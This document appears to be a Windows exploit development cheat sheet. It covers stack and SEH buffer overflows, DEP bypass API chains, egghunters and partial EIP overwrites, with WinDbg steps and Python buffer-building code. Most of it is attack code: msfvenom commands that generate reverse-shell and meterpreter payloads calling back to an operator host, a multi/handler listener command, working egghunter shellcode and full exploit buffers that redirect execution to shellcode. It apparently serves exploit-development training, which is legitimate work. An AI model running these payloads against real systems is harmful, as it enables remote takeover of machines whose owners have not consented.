Exploit Development
Basic Stack Overflows
Create Unique Pattern
1
2
| $ msf-pattern_create -l 800
<pattern generated>
|
Find Offset Match of Pattern
1
| $ msf-pattern_offset -l size -q value
|
Detect Bad Characters
1
2
3
4
5
6
7
8
9
| badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
|
If you have a small size buffers you can send it on blocks with the same size as buffers until finish the whole array
Find JMP ESP
1
2
3
4
5
6
7
8
9
| # Find JMP ESP instruction between address range
windbg> s -[1]b start_range end_range FF E4
# List modules to get the address range
windbg> lm
# List modules with protection status
windbg> .load narly
windbg> !nmod
|
Generate Shellcode
1
2
3
4
5
| $ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.X.Y LPORT=443 -f c
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.X.Y LPORT=443 -f
c –e x86/shikata_ga_nai -b "\x00\x.."
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.X.Y LPORT=443
EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x.."
|
Other Tips
- Find a register that indicates to start of shellcode and use
call reg
or JMP reg
instruction - Can use
JMP
backward (aka Negative JMP
) - Use NOPs (
\x90
) to avoid crashes! - Use Process Hacker and check Properties tab of binary for protections and loaded modules.
- If address of module contain null-byte (
\x00
), overwrite by ignoring the (\x00
).- E.g: address of instruction =
00414E7A
, then set the EIP
as 414E7A
.
Island Hopping Bypass Technique
1
2
3
4
5
| # Calculate length of bytes between esp and start of shellcode. Thereafter, add the value to esp/sp.
windbg> ?: shellcode_address - @esp
kali$ msf-metasm_shell
> add sp, value
|
DEP Bypass
VirtualAlloc
va = pack("<L", (0x45454545)) # dummy VirutalAlloc Address
va += pack("<L", (0x46464646)) # Shellcode Return Address
va += pack("<L", (0x47474747)) # # dummy Shellcode Address
va += pack("<L", (0x48484848)) # dummy dwSize
va += pack("<L", (0x49494949)) # # dummy flAllocationType
va += pack("<L", (0x51515151)) # dummy flProtect
This allows you to create a new executable memory region, copy your shellcode to it, and execute it.
- This technique may require you to chain 2 APIs.
HeapCreate
from struct import pack
hc = pack("<L", 0x55555555) # dummy HeapCreate Address
hc += pack("<L", 0x56565656) # Return Address after HeapCreate
hc += pack("<L", 0x57575757) # dummy flOptions
hc += pack("<L", 0x58585858) # dummy dwInitialSize
hc += pack("<L", 0x59595959) # dummy dwMaximumSize
This provides a very similar technique as VirtualAlloc
, but may require 3 APIs to be chained together.
SetProcessDEPPolicy
spd = pack("<L", 0x5A5A5A5A) # dummy SetProcessDEPPolicy Address
spd += pack("<L", 0x5B5B5B5B) # Return Address after SetProcessDEPPolicy
spd += pack("<L", 0x5C5C5C5C) # dummy dwFlags
This allows you to change the DEP
policy for the current process (so you can execute the shellcode from the stack).
nsip = pack("<L", 0x5D5D5D5D) # dummy NtSetInformationProcess Address
nsip += pack("<L", 0x5E5E5E5E) # Return Address after NtSetInformationProcess
nsip += pack("<L", 0x5F5F5F5F) # dummy ProcessHandle
nsip += pack("<L", 0x60606060) # dummy ProcessInformationClass
nsip += pack("<L", 0x61616161) # dummy ProcessInformation
nsip += pack("<L", 0x62626262) # dummy ProcessInformationLength
This changes the DEP
policy for the current process so you can execute your shellcode from the stack.
VirtualProtect
vp = pack("<L", 0x63636363) # dummy VirtualProtect Address
vp += pack("<L", 0x64646464) # Return Address after VirtualProtect
vp += pack("<L", 0x65656565) # dummy lpAddress
vp += pack("<L", 0x66666666) # dummy dwSize
vp += pack("<L", 0x67676767) # dummy flNewProtect
vp += pack("<L", 0x68686868) # dummy lpflOldProtect
This changes the access protection level of a given memory page, allowing you to mark the location where your shellcode resides as executable.
Finding dword
for lpflOldProtectPermalink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Get the .data section info first
windbg> !dh module -a
e.x: results:
SECTION HEADER #3
.data name
118C virtual size
13000 virtual address
# Do the following calculation
windbg> module+virtual address+virtual size+4
# Check the result address
windbg> !address result # Can keep adding 4 until you find the right one
|
WriteProcessMemory
wpm = pack("<L", 0x69696969) # dummy WriteProcessMemory Address
wpm += pack("<L", 0x6A6A6A6A) # Return Address after WriteProcessMemory
wpm += pack("<L", 0x6B6B6B6B) # dummy hProcess
wpm += pack("<L", 0x6C6C6C6C) # dummy lpBaseAddress
wpm += pack("<L", 0x6D6D6D6D) # dummy lpBuffer
wpm += pack("<L", 0x6E6E6E6E) # dummy nSize
wpm += pack("<L", 0x6F6F6F6F) # dummy lpNumberOfBytesWritten
This allows you to copy your shellcode to another (executable) location, so you can jump to it and execute the shellcode. The target location must be writable and executable.
Finding code cave for shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Locate the code section first
windbg> dd module+3c l1
# Take the first dword and add it to the module with 2c
windbg> dd module+dword+2c l1
# Add dword value to the module
windbg> ? module+dword
# Check the address + its range & search for the code cave
windbg> !address result_address
# Search for the code cave
windbg> s -[1]b start end 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
# Check the address size of the code cave
windbg> !address code_cave
|
Find dword
for lpNumberOfBytesWrittenPermalink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Get the .data section info first
windbg> !dh module -a
e.x: results:
SECTION HEADER #3
.data name
118C virtual size
13000 virtual address
# Do the following calculation
windbg> ? module+virtual address+virtual size+4
# Check the result address
windbg> !address result # Can keep adding 4 until you find the right one
|
Find ROP Gadgets
1
2
3
4
5
6
| #rp++
rp++.exe -f binary -r length > output.txt
--va if you using the last version to set a base_address
#find-gadget.py
find-gadgets.py -f "binary:baseaddress" -b 0a 0d # badchars
|
ASLR Bypass
Specifier | Description | Potential Vulnerability |
---|
%s | String | Can read arbitrary memory |
%d | Signed decimal integer | Can leak integer values |
%u | Unsigned decimal integer | Can leak integer values |
%x | Unsigned hexadecimal integer | Can leak memory addresses |
%p | Pointer (address in hexadecimal) | Can leak memory addresses |
%n | Number of characters written so far | Can write to arbitrary memory |
%c | Character | Can read arbitrary memory |
%f | Floating-point number | Can leak float values |
%o | Unsigned octal | Can leak integer values |
%e , %E | Scientific notation (floating-point) | Can leak float values |
%g , %G | Shortest of %e /%f or %E /%f | Can leak float values |
%a , %A | Hexadecimal floating-point | Can leak float values |
SEH (Structure Exception Handling) Overflows
Find Offset
1
2
3
4
5
6
7
8
9
10
| # Edit the payload
inputBuffer = b"<msf-pattern-create -l 1000>"
# Check Windbg
windbg> !exchain
Invalid exception stack at 33674132
# Find the offset
kali$ msf-pattern_offset -l 1000 -q 33674132
[*] Exact match at offset 188
|
SEH Override
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Edit payload
size = 1000
offset = 188
inputBuffer = b'\x41' * offset
inputBuffer += b'\x42' * 4
inputBuffer += b'\x43' * (size - len(inputBuffer))
# Check Windbg
windbg> !exchain
...
0abcdefg: 42424242
Invalid exception stack at 41414141
|
Find Bad Characters
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # Edit payload
bad chars = (...)
inputBuffer = b'\x41' * offset
inputBuffer += b'\x42' * 4
inputBuffer += badchars
inputBuffer += b'\x43' * (size - len(inputBuffer))
# Check Windbg
windbg> g
eip=42424242 ...
windbg> dds esp L5
...
...
0abcdefg: <address_here>
windbg> db <address_here>
# check which characters are bad and repeat
|
Find P/P/R/
(pop r32; pop r32; ret;
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| windbg> .load narly
windbg> !nmod # find the modules with /SafeSEH OFF
...
10000000 10226000 libspp
# Create find_ppr.wds script
.block
{
.for (r $t0 = 0x58; $t0 <= 0x5F; r $t0 = $t0 + 0x01)
{
.for (r $t1 = 0x58; $t1 <= 0x5F; r $t1 = $t1 + 0x01)
{
s-[1]b 10000000 10226000 $t0 $t1 c3
}
}
}
windbg> $><C:\Users\user\Desktop\find_ppr.wds
1015a2f0
...
windbg> u 0x1015a2f0 L3 # check that its PPR
... pop eax
... pop ebx
... ret
|
Find nSEH Address
1
2
3
4
5
6
7
| # Edit payload
inputBuffer = b'\x41' * offset
inputBuffer += pack("<L", (0x1015a2f0)) # SEH 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer += b'\x43' * (size - len(inputBuffer))
# Check for PPR
windbg> u 1015a2f0 L3 # should show pop; pop; ret;
|
Island-Hopping
1
2
3
4
5
6
7
8
9
10
11
12
13
| # Assembling and Getting opcodes for short jump
windbg> dds eip L4
0abcdefg 41414141
0abcdefh 1015a2f0
0abcdefj 43434343
0abcdefk 43434343
windbg> a # assemble short jmp
0abcdefg jmp 0x01e6ff5c
01e6ff56
windbg> u eip L1 # getting opcode for short jmp
0abcdefg eb06 # eb06 is the opcode for short jump
|
Check Space for Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| # Edit payload
inputBuffer = b'\x41' * offset
inputBuffer += pack("<L", (0x06eb9090)) # nSEH 0x06eb9090 (9090 because \x90 is a filler byte!)
inputBuffer += pack("<L", (0x1015a2f0)) # SEH 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer += b'\x43' * (size - len(inputBuffer))
windbg> dd eip L30
# check the "?????" for space
# Edit payload
shellcode = b"\x43" * 400
inputBuffer = b"\x41" * 124
inputBuffer+= pack("<L", (0x06eb9090)) # nSEH 0x06eb9090 (9090 because \x90 is a filler byte!)
inputBuffer+= pack("<L", (0x1015a2f0)) # SEH 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer+= shellcode
windbg> !teb
StackBase: 01af0000
StackLimit: 01aee000
# Find the address our fake shellcode!
windbg> s -b 01aee000 -1af0000 90 90 90 90 43 43 43 43 43 43 43 43
01aefc70 ...
# Calculate offset from ESP to fake shellcode
windbg> ? 01aefc70+4 - @esp
Evaluate expression: 2096 = 00000830
|
Increase Stack Pointer Space for Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| # Increase stack pointer by 0x830 bytes followed by jmp esp to shellcode
kali$ msf-nasm_shell
nasm> add sp, 0x830
00000000 6681C43008 add sp, 0x830
nasm > jmp esp
00000000 FFE4 jmp esp
# Edit payload
shellcode = b"\x90" * 8
shellcode+= b"\x43" * (400 - len(shellcode))
inputBuffer = b"\x41" * 124
inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH)
inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x90" * 2
inputBuffer+= b"\x66\x81\xc4\x30\x08" # add sp, 0x830
inputBuffer+= b"\xff\xe4" # jmp esp to redirect execution to shellcode
inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer+= shellcode
# Check windbg and single step through for the PPR and NOP instructions
windbg> t # should be pop ebx return
windbg> t # should be pop ebx return
windbg> t # should be ret return
windbg> t # should be nop return
windbg> t # should be nop return
windbg> t # should be jmp return
windbg> t # should be add sp.830h return
windbg> dd @esp L4
01e1fc74 90909090 90909090 43434343 43434343
|
Create Shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Create shellcode
kali$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x02\x0A\x0D\xF8\xFD" -f python -v shellcode
# Edit payload
shellcode = b"\x90" * 20 # Increase the size of NOP
shellcode += b""
shellcode+= <python shellcode>
inputBuffer = b"\x41" * 124
inputBuffer+= pack("<L", (0x06eb9090)) # (NSEH)
inputBuffer+= pack("<L", (0x1015a2f0)) # (SEH) 0x1015a2f0 - pop eax; pop ebx; ret
inputBuffer+= b"\x90" * 2
inputBuffer+= b"\x66\x81\xc4\x30\x08" # add sp, 0x830
inputBuffer+= b"\xff\xe4" # jmp esp to redirect execution to shellcode
inputBuffer+= b"\x90" * (size - len(inputBuffer) - len(shellcode))
inputBuffer+= shellcode
# Start listener
kali$ sudo msfconosle -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST x.x.x.x; set LPORT 443; exploit"
|
Overcoming Space Restrictions: EggHunters
Find Bad Characters
Bad characters can cause the application to NOT crash or cause an abnormal crash
Find Modules without Protection
1
2
3
4
| windbg> .load narly
windbg> !nmod
00400000 00452000 Savant /SafeSEH OFF # only this and address starts with null byte
...
|
Partial EIP Overwrite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| # Edit Payload
inputBuffer = b"\x41" * size
inputBuffer += b"\x42\x42\x42" # 3 bytes because 1 is null byte
# Execute Payload
windbg> g
eip=00424242 ...
# Get opcode for pop ret sequence
kali$ msf-nasm shell
nasm> pop eax
00000000 58 pop eax
nasm> ret
00000000 C3 ret
nasm> quit
# Search for the sequence in windbg
windbg> lm m Savant
start end
00400000 00452000
windbg> s -[1]b 00400000 00452000 58 c3
0x00418674 # choose one address that does not contain bad characters
...
# Edit Payload
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
# Set breakpoint to the address before running the payload
windbg> bp 0x00418674
windbg> bl
windbg> g
windbg> t # should show ret here
windbg> dc poi(@esp) # inspect what is returned
03d3ea84 00544547 00000000 00000000 00000000
...
# Edit Payload
preInputBuffer = b"\x43\x43\x43\x43\x43\x43\x43\x43" + b" /" # try to overwrite the return values
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
buf = preInputBuffer + inputBuffer
# Set breakpoint to the address again before running the payload
windbg> bp 0x00418674
windbg> bl
windbg> g
windbg> dc poi(@esp+4) # check that return value is overwritten
03eeea84 43434343 43434343 00000000 00000000
...
|
Short Jump
1
2
3
4
5
6
7
8
9
10
11
12
| # Edit Payload
preInputBuffer = = b"\xeb\x17\x90\x90" + b" /" # Short jump of 0x17
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
buf = preInputBuffer + inputBuffer
windbg> bp 0x00418674
windbg> bl
windbg> g
windbg> t
windbg> t
... 0306ea84 cb retf # unexpected retf
|
Conditional Jumps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # Get opcodes for conditional jump
kali$ msf-nasm_shell
nasm> xor ecx, ecx
name> test ecx, ecx
nasm> je 0x17
# Edit Payload
preInputBuffer = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx; je 0x17
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
buf = preInputBuffer + inputBuffer
windbg> bp 0x00418674
windbg> bl
windbg> g
windbg> u poi(@esp) L3
02feea84 31c9 xor ecx,ecx
02feea86 85c9 test ecx,ecx
02feea88 0f8411000000 je 02feea9f
windbg> r @zf
zf=1
windbg> dd 02feea9f - 4 # check destination of cond jmp
02feea9b 41412f00 41414141 41414141 41414141
...
|
Finding Alternative Places to Store Large Buffers
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # Edit Payload
preInputBuffer = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx; je 0x17
inputBuffer = b"\x41" * size
inputBuffer += pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
shellcode = b"w00tw00t" + b"\x44" * 400
buf = preInputBuffer + inputBuffer + shellcode
windbg> bp 0x00418674
windbg> bl
windbg> g
windbg> s -a 0x0 L?80000000 w00tw00t
01365a5e ... w00tw00tDDDDDDDD
windbg> db 01365a5e + 0n408 - 4 L4
01365bf2 44 44 44 44
windbg> !address 01365a5e # should show Usage: Heap
|
Using EggHunter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| kali$ python3 original_egghunter_win10.py
egghunter =
("\x66\x81\xca\xff\x0f\x42\x52\x68\xc6\x01\x00\x00\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7")
# Edit Payload
preInputBuffer = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx; je 0x17
egghunter =
("\x66\x81\xca\xff\x0f\x42\x52\x68\xc6\x01\x00\x00\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7")
inputBuffer = b"\x41" * (size - len(egghunter))
inputBuffer += pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
badchars = (b"\x00...")
shellcode = b"w00tw00t" + badchars + b"\x44" * (400-len(badchars))
buf = preInputBuffer + egghunter + inputBuffer + shellcode
# Check for bad chars
windbg> s -a 0x0 L?80000000 w00tw00t
01785b2e ...
windbg> db 017852be L110
... # check for bad chars
|
Obtain Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Edit Payload
preInputBuffer = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx; je 0x17
egghunter =
("\x66\x81\xca\xff\x0f\x42\x52\x68\xc6\x01\x00\x00\x58\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7")
inputBuffer = b"\x41" * (size - len(egghunter))
inputBuffer += pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
payload = <msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f python -v payload>
shellcode = b"w00tw00t" + payload + b"\x44" * (400-len(payload))
buf = preInputBuffer + egghunter + inputBuffer + shellcode
kali$ sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST x.x.x.x; set LPORT 443; exploit"
|
Creating Custom Shellcode